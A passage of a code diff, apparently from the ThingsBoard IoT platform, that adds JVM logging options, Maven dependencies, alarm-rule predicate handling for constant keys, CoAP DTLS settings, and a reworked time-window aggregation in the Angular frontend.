27 | + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/thingsboard/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M" | |
28 | + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}-heapdump.bin" | |
29 | + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | |
30 | + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10" | |
31 | + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError" | |
32 | 32 | export LOG_FILENAME=thingsboard.out |
33 | 33 | export LOADER_PATH=/usr/share/thingsboard/conf,/usr/share/thingsboard/extensions |
34 | 34 | logback: | | ... | ... |
... | ... | @@ -47,6 +47,7 @@ |
47 | 47 | <jjwt.version>0.7.0</jjwt.version> |
48 | 48 | <json-path.version>2.2.0</json-path.version> |
49 | 49 | <junit.version>4.12</junit.version> |
50 | + <jupiter.version>5.7.1</jupiter.version> | |
50 | 51 | <slf4j.version>1.7.7</slf4j.version> |
51 | 52 | <logback.version>1.2.3</logback.version> |
52 | 53 | <mockito.version>3.3.3</mockito.version> |
... | ... | @@ -116,6 +117,10 @@ |
116 | 117 | <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version> |
117 | 118 | <wire-schema.version>3.4.0</wire-schema.version> |
118 | 119 | <twilio.version>7.54.2</twilio.version> |
120 | + <hibernate-validator.version>6.0.13.Final</hibernate-validator.version> | |
121 | + <javax.el.version>3.0.0</javax.el.version> | |
122 | + <javax.validation-api.version>2.0.1.Final</javax.validation-api.version> | |
123 | + <antisamy.version>1.6.2</antisamy.version> | |
119 | 124 | </properties> |
120 | 125 | |
121 | 126 | <modules> |
... | ... | @@ -1237,6 +1242,11 @@ |
1237 | 1242 | <scope>test</scope> |
1238 | 1243 | </dependency> |
1239 | 1244 | <dependency> |
1245 | + <groupId>org.eclipse.californium</groupId> | |
1246 | + <artifactId>scandium</artifactId> | |
1247 | + <version>${californium.version}</version> | |
1248 | + </dependency> | |
1249 | + <dependency> | |
1240 | 1250 | <groupId>com.google.code.gson</groupId> |
1241 | 1251 | <artifactId>gson</artifactId> |
1242 | 1252 | <version>${gson.version}</version> |
... | ... | @@ -1341,6 +1351,12 @@ |
1341 | 1351 | <scope>test</scope> |
1342 | 1352 | </dependency> |
1343 | 1353 | <dependency> |
1354 | + <groupId>org.junit.jupiter</groupId> | |
1355 | + <artifactId>junit-jupiter-params</artifactId> | |
1356 | + <version>${jupiter.version}</version> | |
1357 | + <scope>test</scope> | |
1358 | + </dependency> | |
1359 | + <dependency> | |
1344 | 1360 | <groupId>org.dbunit</groupId> |
1345 | 1361 | <artifactId>dbunit</artifactId> |
1346 | 1362 | <version>${dbunit.version}</version> |
... | ... | @@ -1537,6 +1553,36 @@ |
1537 | 1553 | </exclusion> |
1538 | 1554 | </exclusions> |
1539 | 1555 | </dependency> |
1556 | + <dependency> | |
1557 | + <groupId>org.hibernate.validator</groupId> | |
1558 | + <artifactId>hibernate-validator</artifactId> | |
1559 | + <version>${hibernate-validator.version}</version> | |
1560 | + </dependency> | |
1561 | + <dependency> | |
1562 | + <groupId>org.glassfish</groupId> | |
1563 | + <artifactId>javax.el</artifactId> | |
1564 | + <version>${javax.el.version}</version> | |
1565 | + </dependency> | |
1566 | + <dependency> | |
1567 | + <groupId>javax.validation</groupId> | |
1568 | + <artifactId>validation-api</artifactId> | |
1569 | + <version>${javax.validation-api.version}</version> | |
1570 | + </dependency> | |
1571 | + <dependency> | |
1572 | + <groupId>org.owasp.antisamy</groupId> | |
1573 | + <artifactId>antisamy</artifactId> | |
1574 | + <version>${antisamy.version}</version> | |
1575 | + <exclusions> | |
1576 | + <exclusion> | |
1577 | + <groupId>org.slf4j</groupId> | |
1578 | + <artifactId>*</artifactId> | |
1579 | + </exclusion> | |
1580 | + <exclusion> | |
1581 | + <groupId>com.github.spotbugs</groupId> | |
1582 | + <artifactId>spotbugs-annotations</artifactId> | |
1583 | + </exclusion> | |
1584 | + </exclusions> | |
1585 | + </dependency> | |
1540 | 1586 | </dependencies> |
1541 | 1587 | </dependencyManagement> |
1542 | 1588 | ... | ... |
... | ... | @@ -33,10 +33,7 @@ import org.thingsboard.server.common.data.device.profile.SimpleAlarmConditionSpe |
33 | 33 | import org.thingsboard.server.common.data.device.profile.SpecificTimeSchedule; |
34 | 34 | import org.thingsboard.server.common.data.query.BooleanFilterPredicate; |
35 | 35 | import org.thingsboard.server.common.data.query.ComplexFilterPredicate; |
36 | -import org.thingsboard.server.common.data.query.EntityKey; | |
37 | -import org.thingsboard.server.common.data.query.EntityKeyType; | |
38 | 36 | import org.thingsboard.server.common.data.query.FilterPredicateValue; |
39 | -import org.thingsboard.server.common.data.query.KeyFilter; | |
40 | 37 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; |
41 | 38 | import org.thingsboard.server.common.data.query.NumericFilterPredicate; |
42 | 39 | import org.thingsboard.server.common.data.query.StringFilterPredicate; |
... | ... | @@ -275,7 +272,7 @@ class AlarmRuleState { |
275 | 272 | if (value == null) { |
276 | 273 | return false; |
277 | 274 | } |
278 | - eval = eval && eval(data, value, filter.getPredicate()); | |
275 | + eval = eval && eval(data, value, filter.getPredicate(), filter); | |
279 | 276 | } |
280 | 277 | return eval; |
281 | 278 | } |
... | ... | @@ -300,33 +297,33 @@ class AlarmRuleState { |
300 | 297 | return value; |
301 | 298 | } |
302 | 299 | |
303 | - private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate) { | |
300 | + private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate, AlarmConditionFilter filter) { | |
304 | 301 | switch (predicate.getType()) { |
305 | 302 | case STRING: |
306 | - return evalStrPredicate(data, value, (StringFilterPredicate) predicate); | |
303 | + return evalStrPredicate(data, value, (StringFilterPredicate) predicate, filter); | |
307 | 304 | case NUMERIC: |
308 | - return evalNumPredicate(data, value, (NumericFilterPredicate) predicate); | |
305 | + return evalNumPredicate(data, value, (NumericFilterPredicate) predicate, filter); | |
309 | 306 | case BOOLEAN: |
310 | - return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate); | |
307 | + return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate, filter); | |
311 | 308 | case COMPLEX: |
312 | - return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate); | |
309 | + return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate, filter); | |
313 | 310 | default: |
314 | 311 | return false; |
315 | 312 | } |
316 | 313 | } |
317 | 314 | |
318 | - private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate) { | |
315 | + private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate, AlarmConditionFilter filter) { | |
319 | 316 | switch (predicate.getOperation()) { |
320 | 317 | case OR: |
321 | 318 | for (KeyFilterPredicate kfp : predicate.getPredicates()) { |
322 | - if (eval(data, ekv, kfp)) { | |
319 | + if (eval(data, ekv, kfp, filter)) { | |
323 | 320 | return true; |
324 | 321 | } |
325 | 322 | } |
326 | 323 | return false; |
327 | 324 | case AND: |
328 | 325 | for (KeyFilterPredicate kfp : predicate.getPredicates()) { |
329 | - if (!eval(data, ekv, kfp)) { | |
326 | + if (!eval(data, ekv, kfp, filter)) { | |
330 | 327 | return false; |
331 | 328 | } |
332 | 329 | } |
... | ... | @@ -336,12 +333,15 @@ class AlarmRuleState { |
336 | 333 | } |
337 | 334 | } |
338 | 335 | |
339 | - private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate) { | |
336 | + private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate, AlarmConditionFilter filter) { | |
340 | 337 | Boolean val = getBoolValue(ekv); |
341 | 338 | if (val == null) { |
342 | 339 | return false; |
343 | 340 | } |
344 | - Boolean predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getBoolValue); | |
341 | + Boolean predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getBoolValue); | |
342 | + if (predicateValue == null) { | |
343 | + return false; | |
344 | + } | |
345 | 345 | switch (predicate.getOperation()) { |
346 | 346 | case EQUAL: |
347 | 347 | return val.equals(predicateValue); |
... | ... | @@ -352,12 +352,15 @@ class AlarmRuleState { |
352 | 352 | } |
353 | 353 | } |
354 | 354 | |
355 | - private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate) { | |
355 | + private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate, AlarmConditionFilter filter) { | |
356 | 356 | Double val = getDblValue(ekv); |
357 | 357 | if (val == null) { |
358 | 358 | return false; |
359 | 359 | } |
360 | - Double predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getDblValue); | |
360 | + Double predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getDblValue); | |
361 | + if (predicateValue == null) { | |
362 | + return false; | |
363 | + } | |
361 | 364 | switch (predicate.getOperation()) { |
362 | 365 | case NOT_EQUAL: |
363 | 366 | return !val.equals(predicateValue); |
... | ... | @@ -376,12 +379,15 @@ class AlarmRuleState { |
376 | 379 | } |
377 | 380 | } |
378 | 381 | |
379 | - private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate) { | |
382 | + private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate, AlarmConditionFilter filter) { | |
380 | 383 | String val = getStrValue(ekv); |
381 | 384 | if (val == null) { |
382 | 385 | return false; |
383 | 386 | } |
384 | - String predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getStrValue); | |
387 | + String predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getStrValue); | |
388 | + if (predicateValue == null) { | |
389 | + return false; | |
390 | + } | |
385 | 391 | if (predicate.isIgnoreCase()) { |
386 | 392 | val = val.toLowerCase(); |
387 | 393 | predicateValue = predicateValue.toLowerCase(); |
... | ... | @@ -404,7 +410,7 @@ class AlarmRuleState { |
404 | 410 | } |
405 | 411 | } |
406 | 412 | |
407 | - private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, Function<EntityKeyValue, T> transformFunction) { | |
413 | + private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, AlarmConditionFilter filter, Function<EntityKeyValue, T> transformFunction) { | |
408 | 414 | EntityKeyValue ekv = getDynamicPredicateValue(data, value); |
409 | 415 | if (ekv != null) { |
410 | 416 | T result = transformFunction.apply(ekv); |
... | ... | @@ -412,7 +418,11 @@ class AlarmRuleState { |
412 | 418 | return result; |
413 | 419 | } |
414 | 420 | } |
415 | - return value.getDefaultValue(); | |
421 | + if (filter.getKey().getType() != AlarmConditionKeyType.CONSTANT) { | |
422 | + return value.getDefaultValue(); | |
423 | + } else { | |
424 | + return null; | |
425 | + } | |
416 | 426 | } |
417 | 427 | |
418 | 428 | private <T> EntityKeyValue getDynamicPredicateValue(DataSnapshot data, FilterPredicateValue<T> value) { | ... | ... |
... | ... | @@ -46,6 +46,24 @@ transport: |
46 | 46 | bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}" |
47 | 47 | bind_port: "${COAP_BIND_PORT:5683}" |
48 | 48 | timeout: "${COAP_TIMEOUT:10000}" |
49 | + dtls: | |
50 | + # Enable/disable DTLS 1.2 support | |
51 | + enabled: "${COAP_DTLS_ENABLED:false}" | |
52 | + # Secure mode. Allowed values: NO_AUTH, X509 | |
53 | + mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}" | |
54 | + # Path to the key store that holds the certificate | |
55 | + key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}" | |
56 | + # Password used to access the key store | |
57 | + key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}" | |
58 | + # Password used to access the key | |
59 | + key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}" | |
60 | + # Key alias | |
61 | + key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}" | |
62 | + # Skip certificate validity check for client certificates. | |
63 | + skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}" | |
64 | + x509: | |
65 | + dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}" | |
66 | + dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}" | |
49 | 67 | sessions: |
50 | 68 | inactivity_timeout: "${TB_TRANSPORT_SESSIONS_INACTIVITY_TIMEOUT:300000}" |
51 | 69 | report_timeout: "${TB_TRANSPORT_SESSIONS_REPORT_TIMEOUT:30000}" | ... | ... |
... | ... | @@ -17,10 +17,9 @@ |
17 | 17 | import { SubscriptionData, SubscriptionDataHolder } from '@app/shared/models/telemetry/telemetry.models'; |
18 | 18 | import { |
19 | 19 | AggregationType, calculateIntervalComparisonEndTime, |
20 | - calculateIntervalEndTime, | |
21 | - calculateIntervalStartTime, | |
20 | + calculateIntervalEndTime, calculateIntervalStartEndTime, | |
22 | 21 | getCurrentTime, |
23 | - getCurrentTimeForComparison, | |
22 | + getCurrentTimeForComparison, getTime, | |
24 | 23 | SubscriptionTimewindow |
25 | 24 | } from '@shared/models/time/time.models'; |
26 | 25 | import { UtilsService } from '@core/services/utils.service'; |
... | ... | @@ -36,8 +35,56 @@ interface AggData { |
36 | 35 | aggValue: any; |
37 | 36 | } |
38 | 37 | |
39 | -interface AggregationMap { | |
40 | - [key: string]: Map<number, AggData>; | |
38 | +class AggDataMap { | |
39 | + rangeChanged = false; | |
40 | + private minTs = Number.MAX_SAFE_INTEGER; | |
41 | + private map = new Map<number, AggData>(); | |
42 | + | |
43 | + set(ts: number, data: AggData) { | |
44 | + if (ts < this.minTs) { | |
45 | + this.rangeChanged = true; | |
46 | + this.minTs = ts; | |
47 | + } | |
48 | + this.map.set(ts, data); | |
49 | + } | |
50 | + | |
51 | + get(ts: number): AggData { | |
52 | + return this.map.get(ts); | |
53 | + } | |
54 | + | |
55 | + delete(ts: number) { | |
56 | + this.map.delete(ts); | |
57 | + } | |
58 | + | |
59 | + forEach(callback: (value: AggData, key: number, map: Map<number, AggData>) => void, thisArg?: any) { | |
60 | + this.map.forEach(callback, thisArg); | |
61 | + } | |
62 | + | |
63 | + size(): number { | |
64 | + return this.map.size; | |
65 | + } | |
66 | +} | |
67 | + | |
68 | +class AggregationMap { | |
69 | + aggMap: {[key: string]: AggDataMap} = {}; | |
70 | + | |
71 | + detectRangeChanged(): boolean { | |
72 | + let changed = false; | |
73 | + for (const key of Object.keys(this.aggMap)) { | |
74 | + const aggDataMap = this.aggMap[key]; | |
75 | + if (aggDataMap.rangeChanged) { | |
76 | + changed = true; | |
77 | + aggDataMap.rangeChanged = false; | |
78 | + } | |
79 | + } | |
80 | + return changed; | |
81 | + } | |
82 | + | |
83 | + clearRangeChangedFlags() { | |
84 | + for (const key of Object.keys(this.aggMap)) { | |
85 | + this.aggMap[key].rangeChanged = false; | |
86 | + } | |
87 | + } | |
41 | 88 | } |
42 | 89 | |
43 | 90 | declare type AggFunction = (aggData: AggData, value?: any) => void; |
... | ... | @@ -170,7 +217,7 @@ export class DataAggregator { |
170 | 217 | updateIntervalScheduledTime = false; |
171 | 218 | } |
172 | 219 | if (update) { |
173 | - this.aggregationMap = {}; | |
220 | + this.aggregationMap = new AggregationMap(); | |
174 | 221 | this.updateAggregatedData(data.data); |
175 | 222 | } else { |
176 | 223 | this.aggregationMap = this.processAggregatedData(data.data); |
... | ... | @@ -178,12 +225,17 @@ export class DataAggregator { |
178 | 225 | if (updateIntervalScheduledTime) { |
179 | 226 | this.intervalScheduledTime = this.utils.currentPerfTime(); |
180 | 227 | } |
228 | + this.aggregationMap.clearRangeChangedFlags(); | |
181 | 229 | this.onInterval(history, detectChanges); |
182 | 230 | } else { |
183 | 231 | this.updateAggregatedData(data.data); |
184 | 232 | if (history) { |
185 | 233 | this.intervalScheduledTime = this.utils.currentPerfTime(); |
186 | 234 | this.onInterval(history, detectChanges); |
235 | + } else { | |
236 | + if (this.aggregationMap.detectRangeChanged()) { | |
237 | + this.onInterval(false, detectChanges, true); | |
238 | + } | |
187 | 239 | } |
188 | 240 | } |
189 | 241 | } |
... | ... | @@ -192,18 +244,19 @@ export class DataAggregator { |
192 | 244 | this.startTs = this.subsTw.startTs + this.subsTw.tsOffset; |
193 | 245 | if (this.subsTw.quickInterval) { |
194 | 246 | if (this.subsTw.timeForComparison === 'previousInterval') { |
247 | + const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone); | |
195 | 248 | const currentDate = getCurrentTime(this.subsTw.timezone); |
196 | - this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; | |
249 | + this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, startDate, currentDate) + this.subsTw.tsOffset; | |
197 | 250 | } else { |
198 | - const currentDate = this.getCurrentTime(); | |
199 | - this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; | |
251 | + const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone); | |
252 | + this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, startDate, this.subsTw.timezone) + this.subsTw.tsOffset; | |
200 | 253 | } |
201 | 254 | } else { |
202 | 255 | this.endTs = this.startTs + this.subsTw.aggregation.timeWindow; |
203 | 256 | } |
204 | 257 | } |
205 | 258 | |
206 | - private onInterval(history?: boolean, detectChanges?: boolean) { | |
259 | + private onInterval(history?: boolean, detectChanges?: boolean, rangeChanged?: boolean) { | |
207 | 260 | const now = this.utils.currentPerfTime(); |
208 | 261 | this.elapsed += now - this.intervalScheduledTime; |
209 | 262 | this.intervalScheduledTime = now; |
... | ... | @@ -211,14 +264,15 @@ export class DataAggregator { |
211 | 264 | clearTimeout(this.intervalTimeoutHandle); |
212 | 265 | this.intervalTimeoutHandle = null; |
213 | 266 | } |
267 | + const intervalTimeout = rangeChanged ? this.aggregationTimeout - this.elapsed : this.aggregationTimeout; | |
214 | 268 | if (!history) { |
215 | 269 | const delta = Math.floor(this.elapsed / this.subsTw.aggregation.interval); |
216 | - if (delta || !this.data) { | |
270 | + if (delta || !this.data || rangeChanged) { | |
217 | 271 | const tickTs = delta * this.subsTw.aggregation.interval; |
218 | 272 | if (this.subsTw.quickInterval) { |
219 | - const currentDate = this.getCurrentTime(); | |
220 | - this.startTs = calculateIntervalStartTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; | |
221 | - this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; | |
273 | + const startEndTime = calculateIntervalStartEndTime(this.subsTw.quickInterval, this.subsTw.timezone); | |
274 | + this.startTs = startEndTime[0] + this.subsTw.tsOffset; | |
275 | + this.endTs = startEndTime[1] + this.subsTw.tsOffset; | |
222 | 276 | } else { |
223 | 277 | this.startTs += tickTs; |
224 | 278 | this.endTs += tickTs; |
... | ... | @@ -234,7 +288,7 @@ export class DataAggregator { |
234 | 288 | this.updatedData = false; |
235 | 289 | } |
236 | 290 | if (!history) { |
237 | - this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), this.aggregationTimeout); | |
291 | + this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), intervalTimeout); | |
238 | 292 | } |
239 | 293 | } |
240 | 294 | |
... | ... | @@ -242,18 +296,18 @@ export class DataAggregator { |
242 | 296 | this.tsKeyNames.forEach((key) => { |
243 | 297 | this.dataBuffer[key] = []; |
244 | 298 | }); |
245 | - for (const key of Object.keys(this.aggregationMap)) { | |
246 | - const aggKeyData = this.aggregationMap[key]; | |
299 | + for (const key of Object.keys(this.aggregationMap.aggMap)) { | |
300 | + const aggKeyData = this.aggregationMap.aggMap[key]; | |
247 | 301 | let keyData = this.dataBuffer[key]; |
248 | 302 | aggKeyData.forEach((aggData, aggTimestamp) => { |
249 | - if (aggTimestamp <= this.startTs) { | |
303 | + if (aggTimestamp < this.startTs) { | |
250 | 304 | if (this.subsTw.aggregation.stateData && |
251 | 305 | (!this.lastPrevKvPairData[key] || this.lastPrevKvPairData[key][0] < aggTimestamp)) { |
252 | 306 | this.lastPrevKvPairData[key] = [aggTimestamp, aggData.aggValue]; |
253 | 307 | } |
254 | 308 | aggKeyData.delete(aggTimestamp); |
255 | 309 | this.updatedData = true; |
256 | - } else if (aggTimestamp <= this.endTs) { | |
310 | + } else if (aggTimestamp < this.endTs) { | |
257 | 311 | const kvPair: [number, any] = [aggTimestamp, aggData.aggValue]; |
258 | 312 | keyData.push(kvPair); |
259 | 313 | } |
... | ... | @@ -300,12 +354,12 @@ export class DataAggregator { |
300 | 354 | |
301 | 355 | private processAggregatedData(data: SubscriptionData): AggregationMap { |
302 | 356 | const isCount = this.subsTw.aggregation.type === AggregationType.COUNT; |
303 | - const aggregationMap: AggregationMap = {}; | |
357 | + const aggregationMap = new AggregationMap(); | |
304 | 358 | for (const key of Object.keys(data)) { |
305 | - let aggKeyData = aggregationMap[key]; | |
359 | + let aggKeyData = aggregationMap.aggMap[key]; | |
306 | 360 | if (!aggKeyData) { |
307 | - aggKeyData = new Map<number, AggData>(); | |
308 | - aggregationMap[key] = aggKeyData; | |
361 | + aggKeyData = new AggDataMap(); | |
362 | + aggregationMap.aggMap[key] = aggKeyData; | |
309 | 363 | } |
310 | 364 | const keyData = data[key]; |
311 | 365 | keyData.forEach((kvPair) => { |
... | ... | @@ -326,10 +380,10 @@ export class DataAggregator { |
326 | 380 | private updateAggregatedData(data: SubscriptionData) { |
327 | 381 | const isCount = this.subsTw.aggregation.type === AggregationType.COUNT; |
328 | 382 | for (const key of Object.keys(data)) { |
329 | - let aggKeyData = this.aggregationMap[key]; | |
383 | + let aggKeyData = this.aggregationMap.aggMap[key]; | |
330 | 384 | if (!aggKeyData) { |
331 | - aggKeyData = new Map<number, AggData>(); | |
332 | - this.aggregationMap[key] = aggKeyData; | |
385 | + aggKeyData = new AggDataMap(); | |
386 | + this.aggregationMap.aggMap[key] = aggKeyData; | |
333 | 387 | } |
334 | 388 | const keyData = data[key]; |
335 | 389 | keyData.forEach((kvPair) => { |
... | ... | @@ -374,4 +428,3 @@ export class DataAggregator { |
374 | 428 | } |
375 | 429 | |
376 | 430 | } |
377 | - | ... | ... |
... | ... | @@ -277,7 +277,11 @@ export class EntityDataSubscription { |
277 | 277 | dataAggregator.reset(newSubsTw); |
278 | 278 | }); |
279 | 279 | } |
280 | - this.subscriber.setTsOffset(this.subsTw.tsOffset); | |
280 | + if (this.entityDataSubscriptionOptions.type === widgetType.timeseries) { | |
281 | + this.subscriber.setTsOffset(this.subsTw.tsOffset); | |
282 | + } else { | |
283 | + this.subscriber.setTsOffset(this.latestTsOffset); | |
284 | + } | |
281 | 285 | targetCommand.query = this.dataCommand.query; |
282 | 286 | this.subscriber.subscriptionCommands = [targetCommand]; |
283 | 287 | } else { | ... | ... |
... | ... | @@ -37,12 +37,11 @@ import { |
37 | 37 | } from '@app/shared/models/widget.models'; |
38 | 38 | import { HttpErrorResponse } from '@angular/common/http'; |
39 | 39 | import { |
40 | - calculateIntervalEndTime, | |
41 | - calculateIntervalStartTime, | |
40 | + calculateIntervalStartEndTime, | |
42 | 41 | calculateTsOffset, ComparisonDuration, |
43 | 42 | createSubscriptionTimewindow, |
44 | 43 | createTimewindowForComparison, |
45 | - getCurrentTime, isHistoryTypeTimewindow, | |
44 | + isHistoryTypeTimewindow, | |
46 | 45 | SubscriptionTimewindow, |
47 | 46 | Timewindow, timewindowTypeChanged, |
48 | 47 | toHistoryTimewindow, |
... | ... | @@ -1106,11 +1105,9 @@ export class WidgetSubscription implements IWidgetSubscription { |
1106 | 1105 | this.timeWindow.timezone = this.subscriptionTimewindow.timezone; |
1107 | 1106 | if (this.subscriptionTimewindow.realtimeWindowMs) { |
1108 | 1107 | if (this.subscriptionTimewindow.quickInterval) { |
1109 | - const currentDate = getCurrentTime(this.subscriptionTimewindow.timezone); | |
1110 | - this.timeWindow.maxTime = calculateIntervalEndTime( | |
1111 | - this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset; | |
1112 | - this.timeWindow.minTime = calculateIntervalStartTime( | |
1113 | - this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset; | |
1108 | + const startEndTime = calculateIntervalStartEndTime(this.subscriptionTimewindow.quickInterval, this.subscriptionTimewindow.timezone); | |
1109 | + this.timeWindow.maxTime = startEndTime[1] + this.subscriptionTimewindow.tsOffset; | |
1110 | + this.timeWindow.minTime = startEndTime[0] + this.subscriptionTimewindow.tsOffset; | |
1114 | 1111 | } else { |
1115 | 1112 | this.timeWindow.maxTime = moment().valueOf() + this.subscriptionTimewindow.tsOffset + this.timeWindow.stDiff; |
1116 | 1113 | this.timeWindow.minTime = this.timeWindow.maxTime - this.subscriptionTimewindow.realtimeWindowMs; | ... | ... |
... | ... | @@ -80,9 +80,9 @@ |
80 | 80 | (mousedown)="widgetMouseDown($event, widget)" |
81 | 81 | (click)="widgetClicked($event, widget)" |
82 | 82 | (contextmenu)="openWidgetContextMenu($event, widget)"> |
83 | - <div fxLayout="row" fxLayoutAlign="space-between start"> | |
84 | - <div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" [fxShow]="widget.showWidgetTitlePanel"> | |
85 | - <span [fxShow]="widget.showTitle" | |
83 | + <div *ngIf="widgetComponent.widgetContext?.inited" fxLayout="row" fxLayoutAlign="space-between start"> | |
84 | + <div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" *ngIf="widget.showWidgetTitlePanel"> | |
85 | + <span *ngIf="widget.showTitle" | |
86 | 86 | [ngClass]="{'single-row': widget.hasTimewindow}" |
87 | 87 | [ngStyle]="widget.titleStyle" |
88 | 88 | [matTooltip]="widget.titleTooltip" |
... | ... | @@ -93,7 +93,6 @@ |
93 | 93 | {{widget.customTranslatedTitle}} |
94 | 94 | </span> |
95 | 95 | <tb-timewindow *ngIf="widget.hasTimewindow" |
96 | - #timewindowComponent | |
97 | 96 | aggregation="{{widget.hasAggregation}}" |
98 | 97 | timezone="true" |
99 | 98 | [isEdit]="isEdit" |
... | ... | @@ -101,7 +100,7 @@ |
101 | 100 | (ngModelChange)="widgetComponent.onTimewindowChanged($event)"> |
102 | 101 | </tb-timewindow> |
103 | 102 | </div> |
104 | - <div [fxShow]="widget.showWidgetActions" | |
103 | + <div *ngIf="widget.showWidgetActions" | |
105 | 104 | class="tb-widget-actions" |
106 | 105 | [ngClass]="{'tb-widget-actions-absolute': !(widget.showWidgetTitlePanel&&(widget.showTitle||widget.hasAggregation))}" |
107 | 106 | fxLayout="row" | ... | ... |
... | ... | @@ -56,9 +56,7 @@ import { DialogService } from '@core/services/dialog.service'; |
56 | 56 | import { AddEntityDialogComponent } from './add-entity-dialog.component'; |
57 | 57 | import { AddEntityDialogData, EntityAction } from '@home/models/entity/entity-component.models'; |
58 | 58 | import { |
59 | - calculateIntervalEndTime, | |
60 | - calculateIntervalStartTime, | |
61 | - getCurrentTime, | |
59 | + calculateIntervalStartEndTime, | |
62 | 60 | HistoryWindowType, |
63 | 61 | Timewindow |
64 | 62 | } from '@shared/models/time/time.models'; |
... | ... | @@ -303,9 +301,9 @@ export class EntitiesTableComponent extends PageComponent implements AfterViewIn |
303 | 301 | timePageLink.startTime = currentTime - this.timewindow.history.timewindowMs; |
304 | 302 | timePageLink.endTime = currentTime; |
305 | 303 | } else if (this.timewindow.history.historyType === HistoryWindowType.INTERVAL) { |
306 | - const currentDate = getCurrentTime(); | |
307 | - timePageLink.startTime = calculateIntervalStartTime(this.timewindow.history.quickInterval, currentDate); | |
308 | - timePageLink.endTime = calculateIntervalEndTime(this.timewindow.history.quickInterval, currentDate); | |
304 | + const startEndTime = calculateIntervalStartEndTime(this.timewindow.history.quickInterval); | |
305 | + timePageLink.startTime = startEndTime[0]; | |
306 | + timePageLink.endTime = startEndTime[1]; | |
309 | 307 | } else { |
310 | 308 | timePageLink.startTime = this.timewindow.history.fixedTimewindow.startTimeMs; |
311 | 309 | timePageLink.endTime = this.timewindow.history.fixedTimewindow.endTimeMs; | ... | ... |
... | ... | @@ -36,7 +36,6 @@ import { |
36 | 36 | import { DeviceProfileService } from '@core/http/device-profile.service'; |
37 | 37 | import { DeviceProfileComponent } from '@home/components/profile/device-profile.component'; |
38 | 38 | import { DeviceProfileTabsComponent } from './device-profile-tabs.component'; |
39 | -import { Observable } from 'rxjs'; | |
40 | 39 | import { MatDialog } from '@angular/material/dialog'; |
41 | 40 | import { |
42 | 41 | AddDeviceProfileDialogComponent, |
... | ... | @@ -138,8 +137,8 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon |
138 | 137 | return actions; |
139 | 138 | } |
140 | 139 | |
141 | - addDeviceProfile(): Observable<DeviceProfile> { | |
142 | - return this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData, | |
140 | + addDeviceProfile() { | |
141 | + this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData, | |
